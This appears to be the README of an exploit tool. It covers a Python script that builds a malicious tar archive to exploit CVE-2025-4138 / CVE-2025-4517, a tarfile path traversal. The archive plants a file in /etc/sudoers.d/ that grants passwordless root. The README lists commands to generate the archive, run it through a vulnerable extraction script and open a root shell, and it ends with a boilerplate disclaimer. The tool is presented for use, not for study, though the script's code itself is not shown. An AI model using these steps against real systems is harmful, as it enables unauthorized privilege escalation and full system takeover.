
A Python script to generate a malicious tar archive that exploits CVE-2025-4138 / CVE-2025-4517.
A Python script to generate a malicious tar archive that exploits CVE-2025-4138 / CVE-2025-4517 (Path Traversal via PATH_MAX Truncation).
Successfully exploiting this vulnerability allows an attacker to bypass tarfile extraction filters and write arbitrary files to the filesystem. This tool specifically targets /etc/sudoers.d/ to grant passwordless root privileges.
Generate the exploit payload:
python3 exploit.py -o exploit.tar
-o, --output: Required. The path to save the malicious tar file.-u, --user: Optional. The target username to grant sudo privileges to. Defaults to the current user running the script.exploit.tar.
python3 exploit.py -o exploit.tar
exploit.tar to the target machine.sudo /usr/local/bin/python3 vulnerable.py -b exploit.tar -r restore_final
/etc/sudoers.d/<username> is created.
sudo su
# Enjoy root shell
This tool is for educational purposes and authorized security research only. Misuse of this software violates the law. The author is not responsible for any damage caused by the use of this tool.
CVE-2025-4138 Auto-Sudo by kyakei